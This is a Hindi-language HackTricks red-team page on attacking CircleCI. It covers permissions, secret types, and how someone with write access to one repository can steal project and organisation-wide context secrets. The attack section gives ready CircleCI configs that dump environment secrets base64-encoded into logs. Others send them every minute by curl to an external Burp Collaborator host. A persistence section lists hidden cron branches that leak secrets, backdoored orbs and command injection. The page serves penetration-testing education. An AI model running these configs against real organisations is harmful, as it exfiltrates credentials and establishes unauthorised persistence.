CircleCI Security

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

CircleCI एक Continuos Integration प्लेटफॉर्म है जहाँ आप टेम्प्लेट्स परिभाषित कर सकते हैं जिसमें आप यह निर्दिष्ट करते हैं कि आप कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप अपनी रेपो मास्टर ब्रांच से सीधे ऑटोमेट टेस्टिंग या डिप्लॉयमेंट्स कर सकते हैं।

अनुमतियाँ

CircleCI github और bitbucket से संबंधित खाते की अनुमतियों को विरासत में प्राप्त करता है। मेरे परीक्षण में मैंने पाया कि जब तक आपके पास github में रेपो पर लिखने की अनुमतियां हैं, आप CircleCI में इसकी प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे (नई ssh कुंजियाँ सेट करें, प्रोजेक्ट api कुंजियाँ प्राप्त करें, नई CircleCI कॉन्फ़िग के साथ नई शाखाएँ बनाएँ...).

हालांकि, आपको एक रेपो एडमिन होना चाहिए ताकि रेपो को CircleCI प्रोजेक्ट में परिवर्तित कर सकें

Env Variables & Secrets

दस्तावेज़ों के अनुसार एक वर्कफ़्लो के अंदर वातावरण चर में मान लोड करने के विभिन्न तरीके हैं।

बिल्ट-इन env variables

CircleCI द्वारा चलाए गए हर कंटेनर में हमेशा दस्तावेज़ों में परिभाषित विशिष्ट env vars होंगे जैसे CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME या CIRCLE_USERNAME.

स्पष्ट पाठ

आप उन्हें एक कमांड के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

आप उन्हें run environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

आप उन्हें build-job environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

आप उन्हें स्पष्ट पाठ में कंटेनर के पर्यावरण के अंदर घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

प्रोजेक्ट सीक्रेट्स

ये सीक्रेट्स हैं जो केवल प्रोजेक्ट द्वारा (किसी भी ब्रांच द्वारा) पहुँच योग्य होंगे। आप इन्हें https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables में घोषित देख सकते हैं।

"Import Variables" कार्यक्षमता अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में आयात करने की अनुमति देती है।

कॉन्टेक्स्ट सीक्रेट्स

ये सीक्रेट्स संगठन व्यापी होते हैं। डिफ़ॉल्ट रूप से कोई भी रेपो यहाँ संग्रहीत किसी भी सीक्रेट को पहुँच सकता है:

हालांकि, ध्यान दें कि एक अलग समूह (All members के बजाय) को चुना जा सकता है ताकि केवल विशिष्ट लोगों को ही सीक्रेट्स तक पहुँच प्रदान की जा सके। यह वर्तमान में सीक्रेट्स की सुरक्षा को बढ़ाने के सर्वोत्तम तरीकों में से एक है, ताकि हर कोई उन तक पहुँच न सके बल्कि केवल कुछ लोग ही पहुँच सकें।

हमले

स्पष्ट पाठ सीक्रेट्स की खोज

यदि आपके पास VCS तक पहुँच है (जैसे github) तो प्रत्येक रेपो की .circleci/config.yml फ़ाइल को प्रत्येक ब्रांच पर जांचें और संभावित स्पष्ट पाठ सीक्रेट्स की खोज करें जो वहाँ संग्रहीत हो सकते हैं।

सीक्रेट एन्व वेर्स & कॉन्टेक्स्ट एन्यूमेरेशन

कोड की जांच करके आप सभी सीक्रेट्स के नाम पा सकते हैं जो प्रत्येक .circleci/config.yml फ़ाइल में इस्तेमाल किए जा रहे हैं। आप उन फ़ाइलों से कॉन्टेक्स्ट नाम भी प्राप्त कर सकते हैं या वेब कंसोल में उन्हें जांच सकते हैं: https://app.circleci.com/settings/organization/github/<org_name>/contexts

प्रोजेक्ट सीक्रेट्स का एक्सफ़िल्ट्रेशन

प्रोजेक्ट और कॉन्टेक्स्ट सीक्रेट्स के सभी को एक्सफ़िल्ट्रेट करने के लिए आपको केवल पूरे github संगठन में किसी एक रेपो के लिए WRITE पहुँच की आवश्यकता है (और आपके खाते को कॉन्टेक्स्ट्स तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से हर कोई हर कॉन्टेक्स्ट तक पहुँच सकता है)।

"Import Variables" कार्यक्षमता अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में आयात करने की अनुमति देती है। इसलिए, एक हमलावर सभी रेपोज़ से सभी प्रोजेक्ट वेरिएबल्स को आयात कर सकता है और फिर उन सभी को एक साथ एक्सफ़िल्ट्रेट कर सकता है

सभी प्रोजेक्ट सीक्रेट्स हमेशा जॉब्स के env में सेट होते हैं, इसलिए केवल env को कॉल करना और इसे base64 में अस्पष्ट करना workflows वेब लॉग कंसोल में सीक्रेट्स का एक्सफ़िल्ट्रेशन कर देगा:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

यदि आपके पास वेब कंसोल तक पहुँच नहीं है परंतु आपके पास रेपो तक पहुँच है और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस एक वर्कफ़्लो बना सकते हैं जो प्रत्येक मिनट ट्रिगर किया जाता है और जो बाहरी पते पर सीक्रेट्स को एक्सफ़िल करता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

कॉन्टेक्स्ट सीक्रेट्स की एक्सफिल्ट्रेशन

आपको कॉन्टेक्स्ट का नाम निर्दिष्ट करना होगा (इससे प्रोजेक्ट के सीक्रेट्स भी एक्सफिल्ट्रेट हो जाएंगे):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

यदि आपके पास वेब कंसोल तक पहुँच नहीं है परंतु आपके पास रेपो तक पहुँच है और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस एक वर्कफ़्लो को संशोधित कर सकते हैं जो प्रत्येक मिनट ट्रिगर किया जाता है और जो बाहरी पते पर सीक्रेट्स को एक्सफ़िल करता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

केवल एक नया .circleci/config.yml रेपो में बनाना पर्याप्त नहीं है सर्कलसीआई बिल्ड को ट्रिगर करने के लिए। आपको सर्कलसीआई कंसोल में इसे प्रोजेक्ट के रूप में सक्षम करना होगा

क्लाउड में भागना

CircleCI आपको विकल्प देता है कि आप अपने बिल्ड्स उनकी मशीनों में या अपनी मशीनों में चला सकते हैं। डिफ़ॉल्ट रूप से उनकी मशीनें GCP में स्थित होती हैं, और शुरुआत में आपको कुछ भी महत्वपूर्ण नहीं मिलेगा। हालांकि, अगर कोई पीड़ित अपनी मशीनों में कार्य चला रहा है (संभवतः, क्लाउड वातावरण में), आपको क्लाउड मेटाडेटा एंडपॉइंट पर दिलचस्प जानकारी मिल सकती है

ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं (जिसमें अलग क्लाउड अनुमतियां हो सकती हैं):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

या फिर एक डॉकर कंटेनर जिसे दूरस्थ डॉकर सेवा तक पहुँच हो:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

पर्सिस्टेंस

  • CircleCI में यूजर टोकन बनाना संभव है ताकि यूजर्स की एक्सेस के साथ API एंडपॉइंट्स तक पहुँचा जा सके।

  • https://app.circleci.com/settings/user/tokens

  • प्रोजेक्ट टोकन बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुँचा जा सके।

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • प्रोजेक्ट्स में SSH कीज जोड़ना संभव है।

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • किसी अनपेक्षित प्रोजेक्ट में छिपी हुई शाखा में क्रॉन जॉब बनाना संभव है जो हर दिन सभी context env वेरिएबल्स को लीक कर रहा है।

  • या फिर किसी शाखा में बनाना / ज्ञात जॉब को संशोधित करना जो हर दिन सभी context और प्रोजेक्ट्स सीक्रेट्स को लीक करेगा।

  • यदि आप एक github मालिक हैं तो आप unverified orbs की अनुमति दे सकते हैं और एक जॉब में इसे बैकडोर के रूप में कॉन्फ़िगर कर सकते हैं।

  • आप किसी कार्य में कमांड इंजेक्शन भेद्यता पा सकते हैं और इसके मूल्य को संशोधित करके एक सीक्रेट के माध्यम से कमांड्स इंजेक्ट कर सकते हैं।

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

HackTricks के अन्य तरीके समर्थन करने के लिए:

Last updated